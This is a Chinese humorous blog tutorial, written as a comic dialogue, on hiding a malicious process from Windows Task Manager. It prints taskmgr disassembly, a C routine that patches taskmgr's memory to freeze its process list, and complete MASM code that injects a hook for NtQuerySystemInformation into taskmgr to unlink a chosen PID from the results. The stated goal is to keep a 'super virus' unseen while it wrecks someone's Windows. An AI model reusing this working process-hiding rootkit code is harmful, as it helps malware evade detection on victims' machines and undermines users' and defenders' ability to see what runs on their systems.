原文链接:和Taskmgr过不去篇(无厘头版)
Hook入门级文章,主要想培养一下偶写文章的感觉,老鸟无视…我想看看技术文章能不能无厘头的写,如果效果不错的话,准备更上一层-----用我的原创漫画表达。:)
?(警告1:文章中有部分“限制级”词语,请11岁以下弟弟妹妹误入)?(警告2: 修正警告1,不是“误入”,是“勿入”哦,我没有做暗示哦…)
时间: 终结者2018年
场景: 地下泡泡澡堂
故事: 纯属虚构
在一场残酷的西红柿大战后,最终邪恶阿宝使用卑鄙无耻的招数轻松战胜了单纯的加菲,于是哥俩一起去地下废墟澡堂泡澡。在沉默了一阵之后加菲忽然问了阿宝?一个恐怖的问题……? ?
加菲:……你说我们俩身上的毛哪个值钱…
?阿宝:%##$%@#$%#@%#@,你想钱想疯啦……? ?
加菲:最近手头比较紧,有没有活接?? ?
阿宝:嘿嘿……搞定一个任务,钞票大大滴。? ?
加菲(口水状):什么呀??
?阿宝:老比最近打麻将输我200多,赖账不肯还……? ?
加菲:不会吧…人家是首富哦…? ?
阿宝:没办法呀,windows赔老喽,我准备把他的命根子毁了……? ?
加菲:你这个流氓,我不跟你玩了…? ?
阿宝:什么啊!我指的是他的windows,你想哪去了…? ?
加菲(迅速岔开话题):今天晚上太阳好亮哦…? ?
阿宝(画外音):#@$%#@%,我们俩到底谁邪恶…? ?
加菲:怎么毁呀?? ?
阿宝:我搞了一个宇宙超级大病毒程序,只要运行30分钟保准他的命根子玩蛋!?只要30分钟内不被windows taskmgr发现…? ?
加菲:你傻啊?人家不会用其他进程查看工具嘛??
?阿宝:说你不懂了吧,老比乱搞垄断,windows和taskmgr捆死了,其他?进程工具没法运行呀,嘿嘿…自掘死路…?
?加菲:这还不简单,做个rootkit在内核层把病毒进程隐藏起来不就行了。? ?
阿宝:进不去RING0,只能在用户层搞……,有没有其他办法…? ?
加菲:你超级病毒都能写出来,这个不会写?????? ?
阿宝(-_-b):少废话,你要不要钞票了…? ?
加菲:这个…? ?一炷香的功夫过去了…?
?阿宝:你到底想好了没啊?? ?
加菲:taskmgr显示进程信息的控件是SysListView32,我想可以截获显示每一行?的消息,然后忽略显示病毒进程的那一条消息…?
?阿宝:好啊…做一个dll植入taskmgr,然后SysListView32子类化到dll中的一个?消息处理函数,过滤特定进程的消息…? ?
加菲:没成功…可以截获和过滤消息,但显示老是会多出来一行…(可能是我?实现方法有问题,请看我以前发布的程序)? ?
阿宝:那怎么办啊?? ?加菲:要不然这样,做一个进程文本修改器,类似游戏修改器中的自动修改变量,?只不过这个变量是一个进程名,只要找到病毒进程名字的文本,就将成其他混淆视?听的名字(svchost.exe)。? ?
阿宝:8错,查找时要注意同时修改UNICODE的字符串哦…? ?
加菲:成功了,因为两个进程同时要写一个内容,所以极少数时间里可能会造成?病毒进程名漏出马脚…? ?
阿宝:嗯…病毒名有时会闪一下…进程数还是增加了…能不能干脆彻底删除这个?进程名而不是将其改成其他名字呢?? ?
加菲:这个…? ?阿宝(舔和路雪冰淇淋):搞得怎么样了,有什么新花样呢?? ?
加菲:如果你的超级病毒运行之后,就不准taskmgr 运行起来,如果已经运行起来?就将其关掉…? ?
阿宝:这个不行,太招人显眼了…?
?加菲:把taskmgr僵掉…?
?阿宝:你以为你是林正英啊???怎么僵呢???? ?
加菲:我刚才没事用IDA玩了一下taskmgr的body,发现一个好玩的?UpdateProcInfoArray过程哦,上代码(省略无关部分):
1 public: long __thiscall CProcPage::UpdateProcInfoArray(void) proc near 2 mov eax, dword_1016580 3 .text:0100CAD5 shr eax, 0Ah 4 .text:0100CAD8 mov ecx, eax 5 .text:0100CADA imul ecx, [ebp+var_1FC] 6 .text:0100CAE1 mov [ebp+var_88], ecx 7 .text:0100CAE7 mov ecx, eax 8 .text:0100CAE9 imul ecx, [ebp+var_1F8] 9 .text:0100CAF0 mov edx, eax 10 .text:0100CAF2 imul edx, [ebp+var_1F0] 11 .text:0100CAF9 mov [ebp+var_74], ecx 12 .text:0100CAFC mov ecx, eax 13 .text:0100CAFE imul ecx, [ebp+var_1F4] 14 .text:0100CB05 mov [ebp+var_6C], edx 15 .text:0100CB08 mov edx, eax 16 .text:0100CB0A imul eax, [ebp+var_1B4] 17 .text:0100CB11 imul edx, [ebp+var_1B8] 18 .text:0100CB18 mov [ebp+var_7C], eax 19 .text:0100CB1B add eax, edx 20 .text:0100CB1D push edi 21 .text:0100CB1E mov [ebp+var_78], eax 22 .text:0100CB21 push 24h 23 .text:0100CB23 lea eax, [ebp+var_F0] 24 .text:0100CB29 push eax 25 .text:0100CB2A push 15h 26 .text:0100CB2C mov [ebp+var_70], ecx 27 .text:0100CB2F mov [ebp+var_80], edx 28 .text:0100CB32 mov __int64 g_MEMMax, ecx 29 .text:0100CB38 mov dword_1016564, edi 30 .text:0100CB3E call esi ; NtQuerySystemInformation(x,x,x,x) 31 .text:0100CB40 test eax, eax 32 .text:0100CB42 jge short loc_100CB4E 33 .text:0100CB42 34 .text:0100CB44 35 .text:0100CB44 loc_100CB44: ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+4Bj 36 .text:0100CB44 ; CProcPage::UpdateProcInfoArray(void)+7Aj 37 .text:0100CB44 mov eax, 80004005h 38 .text:0100CB49 jmp loc_100CE7E 39 .text:0100CB49 40 .text:0100CB4E ; --------------------------------------------------------------------------- 41 .text:0100CB4E 42 .text:0100CB4E loc_100CB4E: ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+EEj 43 .text:0100CB4E mov eax, dword_1016580 44 .text:0100CB53 shr eax, 0Ah 45 .text:0100CB56 imul eax, [ebp+var_DC] 46 .text:0100CB5D mov ecx, ebx 47 .text:0100CB5F mov [ebp+var_84], eax 48 .text:0100CB65 call CProcPage::GetProcessInfo(void) 49 .text:0100CB65 50 .text:0100CB6A cmp eax, edi 51 .text:0100CB6C mov [ebp+var_58], eax 52 .text:0100CB6F jl loc_100CE64 53 .text:0100CB6F 54 .text:0100CB75 mov [ebp+var_48], edi 55 .text:0100CB75 56 .text:0100CB78 57 .text:0100CB78 loc_100CB78: ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+1EEj 58 .text:0100CB78 mov esi, [ebx+10h] 59 .text:0100CB7B add esi, [ebp+var_48] 60 .text:0100CB7E mov eax, [esi+44h] 61 .text:0100CB81 cmp eax, edi 62 .text:0100CB83 jnz short loc_100CB8E 63 .text:0100CB83 64 .text:0100CB85 cmp [esi+4], edi 65 .text:0100CB88 jz loc_100CC1D
加菲:注意 call CProcPage::GetProcessInfo(void) 这一行,进去看看:
1 public: long __thiscall CProcPage::GetProcessInfo(void) proc near 2 .text:0100A6AF ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+111p 3 .text:0100A6AF 4 .text:0100A6AF var_4 = dword ptr -4 5 .text:0100A6AF 6 .text:0100A6AF mov edi, edi 7 .text:0100A6B1 push ebp 8 .text:0100A6B2 mov ebp, esp 9 .text:0100A6B4 push ecx 10 .text:0100A6B5 push ebx 11 .text:0100A6B6 push esi 12 .text:0100A6B7 xor ebx, ebx 13 .text:0100A6B9 push edi 14 .text:0100A6BA mov edi, ds:GetProcessHeap() 15 .text:0100A6C0 mov esi, ecx 16 .text:0100A6C2 mov [ebp+var_4], ebx 17 .text:0100A6C2 18 .text:0100A6C5 19 .text:0100A6C5 loc_100A6C5: ; CODE XREF: CProcPage::GetProcessInfo(void)+63j 20 .text:0100A6C5 mov eax, [esi+10h] 21 .text:0100A6C8 cmp eax, ebx 22 .text:0100A6CA jz short loc_100A6F9 23 .text:0100A6CA 24 .text:0100A6CC push ebx 25 .text:0100A6CD push dword ptr [esi+14h] 26 .text:0100A6D0 push eax 27 .text:0100A6D1 push 5 28 .text:0100A6D3 call ds:NtQuerySystemInformation(x,x,x,x) 29 .text:0100A6D9 cmp eax, ebx 30 .text:0100A6DB jge short loc_100A71B 31 .text:0100A6DB 32 .text:0100A6DD cmp eax, 0C0000004h 33 .text:0100A6E2 jnz short loc_100A723 34 .text:0100A6E2 35 .text:0100A6E4 mov eax, [esi+10h] 36 .text:0100A6E7 cmp eax, ebx 37 .text:0100A6E9 jz short loc_100A6F9 38 .text:0100A6E9 39 .text:0100A6EB push eax ; lpMem 40 .text:0100A6EC push ebx ; dwFlags 41 .text:0100A6ED call edi ; GetProcessHeap() 42 .text:0100A6EF push eax ; hHeap 43 .text:0100A6F0 call ds:HeapFree(x,x,x) 44 .text:0100A6F6 mov [esi+10h], ebx 45 .text:0100A6F6 46 .text:0100A6F9 47 .text:0100A6F9 loc_100A6F9: ; CODE XREF: CProcPage::GetProcessInfo(void)+1Bj 48 .text:0100A6F9 ; CProcPage::GetProcessInfo(void)+3Aj 49 .text:0100A6F9 add dword ptr [esi+14h], 1000h 50 .text:0100A700 push dword ptr [esi+14h] ; dwBytes 51 .text:0100A703 push ebx ; dwFlags 52 .text:0100A704 call edi ; GetProcessHeap() 53 .text:0100A706 push eax ; hHeap 54 .text:0100A707 call ds:HeapAlloc(x,x,x) 55 .text:0100A70D cmp eax, ebx 56 .text:0100A70F mov [esi+10h], eax 57 .text:0100A712 jnz short loc_100A6C5 58 .text:0100A712 59 .text:0100A714 mov [ebp+var_4], 8007000Eh 60 .text:0100A714 61 .text:0100A71B 62 .text:0100A71B loc_100A71B: ; CODE XREF: CProcPage::GetProcessInfo(void)+2Cj 63 .text:0100A71B ; CProcPage::GetProcessInfo(void)+7Bj 64 .text:0100A71B mov eax, [ebp+var_4] 65 .text:0100A71E pop edi 66 .text:0100A71F pop esi 67 .text:0100A720 pop ebx 68 .text:0100A721 leave 69 .text:0100A722 retn
阿宝:喔欧...(移动广告:3G时代...就说喔欧),这个比较明显了,里面调用?了原生态API NtQuerySystemInformation(x,x,x,x)...???
加菲:下面偶来写一个过程让taskmgr僵住:
1 #define MAGIC_ADDR 0x100cb65 2 static const byte VerFlag[] = {0xe8,0x45,0xdb,0xff,0xff}; 3 bool stoptm(DWORD pid) 4 { 5 bool bSuccess = false; 6 HANDLE ph = 0; 7 8 if(!pid) 9 { 10 puts("taskmgr not run!"); 11 goto QUIT; 12 } 13 14 ph = OpenProcess(PROCESS_ALL_ACCESS,false,pid); 15 if(!ph) 16 { 17 puts("can‘t open taskmgr!"); 18 goto QUIT; 19 } 20 21 byte fixbin[sizeof(VerFlag)]; 22 if(!ReadProcessMemory(ph,(LPCVOID)MAGIC_ADDR,fixbin,sizeof(fixbin),NULL)) 23 { 24 puts("read mem failed!"); 25 goto QUIT; 26 } 27 28 if(memcmp(VerFlag,fixbin,sizeof(fixbin))) 29 { 30 puts("taskmgr isn‘t right ver!"); 31 goto QUIT; 32 } 33 34 memset(fixbin,0x90,sizeof(fixbin)); 35 if(!WriteProcessMemory(ph,(LPVOID)MAGIC_ADDR,fixbin,sizeof(fixbin),NULL)) 36 { 37 puts("write mem failed!"); 38 goto QUIT; 39 } 40 41 bSuccess = true; 42 QUIT: 43 if(ph) 44 CloseHandle(ph); 45 return bSuccess; 46 }
阿宝:我好像能看懂了,将对应的调用语句NOP掉,从而taskmgr无法再刷新?进程列表了...但这个不能对应不同版本的taskmgr吧?? ?
加菲:这个...那是当然...?
?阿宝:你能不能给我个最终解决办法啊...? ?
加菲:没办法了...只有用各个版本通杀技了,HOOk NtQuerySystemInformation , ?然后改变其返回内容。要注意的是我们只需要HOOK 第一个参数为5的调用,?即Query系统进程信息,其他都不用理会。NtQuerySystemInformation ?获取进程信息如果成功,将会返回一个数组,或者称其为一个链表更准确。结构如下:
1 typedef struct _SYSTEM_PROCESSES 2 { 3 ULONG NextEntryDelta; //构成结构序列的偏移量; 4 ULONG ThreadCount; //线程数目; 5 ULONG Reserved1[6]; 6 LARGE_INTEGER CreateTime; //创建时间; 7 LARGE_INTEGER UserTime; //用户模式(Ring 3)的CPU时间; 8 LARGE_INTEGER KernelTime; //内核模式(Ring 0)的CPU时间; 9 UNICODE_STRING ProcessName; //进程名称; 10 KPRIORITY BasePriority; //进程优先权; 11 ULONG ProcessId; //进程标识符; 12 ULONG InheritedFromProcessId; //父进程的标识符; 13 ULONG HandleCount; //句柄数目; 14 ULONG Reserved2[2]; 15 VM_COUNTERS VmCounters; //虚拟存储器的结构,见下; 16 IO_COUNTERS IoCounters; //IO计数结构,见下; 17 SYSTEM_THREADS Threads[1]; //进程相关线程的结构数组,见下; 18 }SYSTEM_PROCESSES,*PSYSTEM_PROCESSES; 19
加菲:我要做的只是在链表中查找需要隐藏进程的ID,然后将其剔除即可。? ?
阿宝:怎么剔除呢?? ?
加菲:分2种情况,若PID出现在链表的的尾部则直接将上一个链表指向NULL,?否则需要将上一个结构的指针指向PID结构后面一个结构,从而将其剔除,完整代码如下:
1 .386 2 .model flat, stdcall 3 option casemap:none 4 .nocref 5 .nolist 6 include D:/work/masm32/include/windows.inc 7 include D:/work/masm32/include/user32.inc 8 include D:/work/masm32/include/kernel32.inc 9 .list 10 .listmacro 11 .listmacroall 12 IFNDEF UNICODE_STRING 13 UNICODE_STRING struct 14 _Length WORD ? 15 MaximumLength WORD ? 16 Buffer PWSTR ? 17 UNICODE_STRING ends 18 PUNICODE_STRING typedef ptr UNICODE_STRING 19 ENDIF 20 SPI struct 21 NextOffset DWORD ? 22 DWORD ? 23 Times QWORD 6 dup(?) 24 ImageName UNICODE_STRING <?> 25 DWORD ? 26 ProcessId DWORD ? 27 Reserved DWORD 7 dup(?) 28 SPI ends 29 PSPI typedef ptr SPI 30 .const 31 szDll db "ntdll.dll",0 32 szQSI_func db "NtQuerySystemInformation",0 33 .code 34 ;********************************************************** 35 RT_BIN_START equ $ 36 PID DWORD ? ;要隐藏进程的pid 37 pQSI_func DWORD ? 38 pQSI_Next DWORD ? 39 pBuf DWORD ? 40 pRetAddr DWORD ? 41 pPreviousSPI PSPI 0 42 dwEBX DWORD ? 43 ;ORGBIN byte 5 dup(?) 44 FIXBIN byte 5 dup(?) 45 RT_CODE_OFFSET equ $ - RT_BIN_START 46 len0 textequ %RT_CODE_OFFSET 47 % echo RT_CODE_OFFSET is len0 48 ;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 49 myQSI_func proc 50 mov ecx,ebx 51 call @F 52 @@: 53 pop ebx 54 sub ebx,offset @B 55 jmp DOIT 56 GoMaMa: 57 mov eax,dword ptr [esp] 58 mov dword ptr [esp + 4],eax 59 pop eax 60 ORGBIN byte 5 dup(?) 61 jmp [ebx + pQSI_Next] 62 DOIT: 63 mov dword ptr [ebx + dwEBX],ecx 64 mov dword ptr [ebx + pBuf],0 65 push dword ptr [esp] 66 pop dword ptr [ebx + pRetAddr] 67 .if dword ptr [esp + 4] == 5 68 push dword ptr [esp+8] 69 pop dword ptr [ebx + pBuf] 70 .endif 71 72 call GoMaMa 73 ;调用原始QSI成功且是获取SPIs的调用 74 .if eax == 0 && dword ptr [ebx + pBuf] != 0 75 assume eax:PSPI 76 mov ecx,dword ptr [ebx + PID] 77 mov eax,dword ptr [ebx + pBuf] 78 .while TRUE 79 .if [eax].ProcessId == ecx 80 .if [eax].NextOffset == 0 81 mov eax,[ebx + pPreviousSPI] 82 mov [eax].NextOffset,0 83 .else 84 mov ecx,[eax].NextOffset 85 mov eax,[ebx + pPreviousSPI] 86 add ecx,[eax].NextOffset 87 mov [eax].NextOffset,ecx 88 .endif 89 .break 90 .endif 91 .break .if [eax].NextOffset == 0 92 push eax 93 pop dword ptr [ebx + pPreviousSPI] 94 add eax,[eax].NextOffset 95 .endw 96 assume eax:nothing 97 .endif 98 99 mov ecx,ebx 100 mov ebx,[ebx + dwEBX] 101 jmp [ecx + pRetAddr] 102 ;ret 103 myQSI_func endp 104 ;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 105 RT_BIN_END equ $ 106 RT_BIN_LEN equ RT_BIN_END - RT_BIN_START 107 T_BIN_LEN textequ %RT_BIN_LEN 108 % echo RT_BIN_LEN is T_BIN_LEN 109 ;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 110 hookQSIfunc proc C uses ebx edi esi ph:HANDLE,pid:DWORD 111 local bSuccess,pRTBin,oldProtect 112 113 mov bSuccess,FALSE 114 .if pid == 0 115 jmp QUIT 116 .endif 117 invoke VirtualProtect,offset RT_BIN_START,/ 118 T_BIN_LEN,PAGE_EXECUTE_READWRITE,/ 119 addr oldProtect 120 .if !eax 121 jmp QUIT 122 .endif 123 invoke LoadLibrary,addr szDll 124 invoke GetProcAddress,eax,addr szQSI_func 125 .if !eax 126 jmp QUIT 127 .endif 128 mov pQSI_func,eax 129 130 invoke VirtualAllocEx,ph,NULL,T_BIN_LEN,/ 131 MEM_COMMIT,PAGE_EXECUTE_READWRITE 132 .if !eax 133 jmp QUIT 134 .endif 135 mov pRTBin,eax 136 137 invoke ReadProcessMemory,ph,pQSI_func,/ 138 addr ORGBIN,5,NULL 139 .if !eax 140 jmp QUIT 141 .endif 142 mov eax,pRTBin 143 add eax,RT_CODE_OFFSET 144 sub eax,pQSI_func 145 sub eax,5 146 mov byte ptr [FIXBIN],0E9h 147 mov dword ptr [FIXBIN+1],eax 148 149 mov eax,pQSI_func 150 add eax,5 151 mov pQSI_Next,eax 152 push pid 153 pop PID 154 invoke WriteProcessMemory,ph,pRTBin,/ 155 offset RT_BIN_START,T_BIN_LEN,NULL 156 .if !eax 157 jmp QUIT 158 .endif 159 invoke WriteProcessMemory,ph,pQSI_func,/ 160 addr FIXBIN,5,NULL 161 .if !eax 162 jmp QUIT 163 .endif 164 165 mov bSuccess,TRUE 166 QUIT: 167 .if pRTBin 168 ;invoke VirtualFreeEx,ph,pRTBin,/ 169 ;T_BIN_LEN,MEM_RELEASE 170 .endif 171 mov eax,bSuccess 172 ret 173 hookQSIfunc endp 174 ;********************************************************** 175 end
阿宝:你好像是HOOK之后,直接将以上代码拷贝到taskmgr.exe进程空间中,?等待其自动调用,是吗?? ?
加菲:没错,拷贝功能的函数即是hookQSIfunc,当然这要首先保证taskmgr在运行:
1 //检查taskmgr.exe当前是否在运行 2 DWORD findtm(void) 3 { 4 DWORD pid = 0; 5 6 PROCESSENTRY32 process = {.dwSize=sizeof(PROCESSENTRY32)}; 7 HANDLE hss = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); 8 Process32First(hss,&process); 9 while(Process32Next(hss,&process)) 10 { 11 if(!strcmp(process.szExeFile,"taskmgr.exe")) 12 { 13 pid = process.th32ProcessID; 14 break; 15 } 16 } 17 18 CloseHandle(hss); 19 return pid; 20 }
阿宝(暗笑):是这样啊...嘿嘿? ?
加菲(聚精会神地):这样一来无论哪个版本的taskmgr,只要获取机制没有变,?都可以搞定了,呵呵...终于搞定了...那个报酬怎么算...(回头),人呢???
阿宝(全裸速逃中...)
加菲:阿宝,你竟然敢欺骗偶的感情....
愤怒的加菲制造了N个加菲猫终结者T1300型追杀阿宝,至于阿宝能否逃脱,这就是另一个故事了哦 :)
(PS1:使用了电影分镜头剧本结构,适合改编为cartoon或flash之类的咚咚,结尾不是很好,修改中)
(PS2: 场景的选择是从刚看完的终结者2018获得的。)
[原创]反汇编之一:和Taskmgr过不去篇(无厘头版),布布扣,bubuko.com